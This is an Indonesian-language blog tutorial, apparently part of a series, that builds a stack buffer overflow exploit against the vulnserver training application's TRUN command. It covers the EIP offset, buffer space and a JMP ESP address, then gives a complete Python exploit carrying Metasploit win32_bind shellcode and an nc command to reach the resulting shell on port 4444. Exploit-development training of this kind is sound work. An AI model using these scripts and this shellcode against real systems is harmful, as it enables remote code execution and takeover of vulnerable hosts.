4 byte yang mana sebagai penyebab terjadinya perubahan data pada EIP?
Apakah kita masih memiliki ruang pada buffer untuk menyisipkan shellcode kita?
Apakah shellcode di dalam memori tersebut mudah diakses oleh kita?
Apakah aplikasi tersebut melakukan filterisasi terhadap karakter tertentu?
Apakah kita menemui mekanisme perlindungan aplikasi dari Overflow exploitation?
1. Identifikasi nilai EIP
Pada artikel sebelumnya, kita telah memperoleh kesimpulan aplikasi vulnserver akan mengalami crash saat kita mengirimkan perintah TRUN dengan diikuti karakter \.:\ dan karakter A sebanyak 5000 buah. Tentunya kita akan mengalami kesulitan di byte berapa error tersebut terjadi.
Untuk memudahkan kita dalam melakukan pendeteksian byte keberapa sebagai penyebab error tersebut, kita dapat mengirimkan karakter-karakter unik dengan memanfaatkan skrip buftool.py .
Lalu buat sebuah file python untuk sebagai trigger untuk membuat aplikasi vulnserver mengalami crash berdasarkan ujicoba fuzzing sebelumnya dan simpan file tersebut dengan nama trigger.py
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
buffer = 'TRUN /.:/' + '(karakter buffer hasil dari buftool.py)'
print "\nSending evil buffer....\n"
s.connect(('192.168.136.1', 9999))
data = s.recv(1024)
s.send(buffer)
s.close()
Jalankan skrip di atas, jangan lupa sebelumnya Anda sudah menjalankan aplikasi vulnserver menggunakan OllyDbg. Maka pada aplikasi OllyDbg akan tampak seperti berikut:
Dari gambar di atas dapat kita ambil kesimpulan bahwa aplikasi vulnserver mengalami crash setelah mengeksekusi byte dengan hexadecimal "386F4337" atau jika dikonversi ke ASCII adalah karakter "7Co8". Sedangkan karakter "7Co8" terletak pada karakter ke 2004 sampai 2007.
Jika pada aplikasi OllyDbg Anda tidak tampak kode ASCII, cukup dengan klik kanan pada bagian yang di blok hitam, dan pilih "Show ASCII dump"
Dengan informasi tersebut, kita lakukan perubahan pada skrip sebelumnya dan simpan dengan nama trigger2.py
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
buffer = 'TRUN /.:/' + '\x41' * 2003 + '\x42' * 4 + '\x43' * 2993
print "\nSending evil buffer....\n"
s.connect(('192.168.136.1', 9999))
data = s.recv(1024)
s.send(buffer)
s.close()
Jalankan skrip diatas, maka dengan hasil OllyDbg seperti gambar di bawah, dapat kita pastikan byte yang mana kita dapat menyisipkan shellcode exploit yang akan kita sisipkan.
2. Menentukan ukuran / space lokasi kode shellcode exploit
Sebelum menyisipkan kode shellcode exploit, kita harus menentukan ukuran lokasi / space yang tersedia untuk dilakukan penyisipan shellcode. Caranya, pada blok ESP yang crash, klik kanan lalu Follow in Dump.
Dari hasil di atas, terlihat sebelum blok "00B7FA0C" terdiri dari 2003 karakter huruf A dan 4 karakter huruf B. Dan kita juga mengetahui tempat dimana kita dapat meletakkan shellcode exploit kita.
Sekarang kita perlu pastikan apakah kita memiliki space yang cukup untuk meletakkan shellcode exploit. Perhatikan gambar berikut:
Jika Anda terus mengikuti dump hingga menemukan blok yang tidak menampilkan kode ASCII dengan karakter C, maka Anda akan menemukan blok hexadecimal "00B7FDDC". Maka kalkulasi space yang dapat kita peroleh adalah 00B7FDDC - 00B7FA0C maka didapat hasil 3d8 atau 984 decimal atau 984 byte. Untuk ukuran space sebesar itu sudah cukup untuk menampung isi shellcode exploit apa saja.
3. Temukan path ke JMP
Apa itu JMP? Penjelasannya kasarnya yaitu, kita menentukan path dimana program ketika crash terjadi, program akan langsung menjalankan shellcode exploit yang kita sisipkan.
Masih pada aplikasi OllyDbg, klik menu "View - Executable modules", dan klik dua kali USER32.dll, kemudian pada module USER32.dll, klik kanan mouse anda dan search for - command dengan kata kunci JMP ESP.
Akhirnya kita menemukan bahwa alamat command JMP ESP ada di 7E429353. Kita akan mengganti karakter BBBB atau "\x42\x42\x42\x42" pada skrip sebelumnya menjadi alamat JMP ESP tersebut menjadi "\x53\x93\x42\x7E". Sehingga nilai EIP saat vulserver crash akan langsung jump ke command JMP ESP dan menjalankan shellcode.
Coba lakukan modifikasi pada skrip sebelumnya seperti berikut:
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ret = "\x53\x93\x42\x7E" # 7E429353 JMP ESP USER32.dll
buffer = 'TRUN /.:/' + '\x41' * 2003 + ret + '\x43' * 2993
print "\nSending evil buffer....\n"
s.connect(('192.168.136.1', 9999))
data = s.recv(1024)
s.send(buffer)
s.close()
dan setelah dijalankan, pada aplikasi OllyDbg akan mucul seperti berikut:
4. Sisipkan Shellcode exploit
Modifikasi lagi skrip sebelumnya menjadi seperti berikut dan simpan dengan nama file remoteshell.py :
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
shellcode = ("\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c"
"\x24\x24\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b"
"\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01"
"\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d"
"\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f"
"\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb"
"\x03\x2c\x8b\x89\x6c\x24\x1c\x61\xc3\x31\xdb\x64"
"\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40"
"\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53"
"\x66\x68\x33\x32\x68\x77\x73\x32\x5f\x54\xff\xd0"
"\x68\xcb\xed\xfc\x3b\x50\xff\xd6\x5f\x89\xe5\x66"
"\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09"
"\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x53\x43\x53"
"\x43\x53\xff\xd0\x66\x68\x11\x5c\x66\x53\x89\xe1"
"\x95\x68\xa4\x1a\x70\xc7\x57\xff\xd6\x6a\x10\x51"
"\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53"
"\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50"
"\x54\x54\x55\xff\xd0\x93\x68\xe7\x79\xc6\x79\x57"
"\xff\xd6\x55\xff\xd0\x66\x6a\x64\x66\x68\x63\x6d"
"\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89"
"\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93"
"\x8d\x7a\x38\xab\xab\xab\x68\x72\xfe\xb3\x16\xff"
"\x75\x44\xff\xd6\x5b\x57\x52\x51\x51\x51\x6a\x01"
"\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53"
"\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83"
"\xc4\x64\xff\xd6\x52\xff\xd0\x68\x7e\xd8\xe2\x73"
"\x53\xff\xd6\xff\xd0")
ret = "\x53\x93\x42\x7E" # 7E429353 JMP ESP USER32.dll
buffer = 'TRUN /.:/' + '\x41' * 2003 + ret + shellcode
print "\nSending evil buffer....\n"
s.connect(('192.168.136.1', 9999))
data = s.recv(1024)
s.send(buffer)
s.close()
Jalankan skrip diatas, dan kemudian ketikkan sintaks pada konsol
nc -v 192.168.136.1 4444
dan lihat hasilnya seperti apa.
Mungkin ada yang bertanya isi shellcode dari skrip remoteshell.py itu datangnya dari mana. Kode tersebut penulis dapatkan dari payload metasploit framework 2 dengan nama payload win32_bind.
Pada saat artikel ini di susun, saya belum menemukan pengganti shellcode tersebut ketika menggunakan metasploit framework 3. Atau mungkin ada teman-teman yang bisa kirimkan ke saya shellcode payload exploit pada metasploit framework 3?
Untuk memperoleh shellcode dari payload win32_bind, lakukan cd ke /pentest/exploits/framework2 dan kemudian ketik perintah ./msfpayload win32_bind C
0 comments:
Post a Comment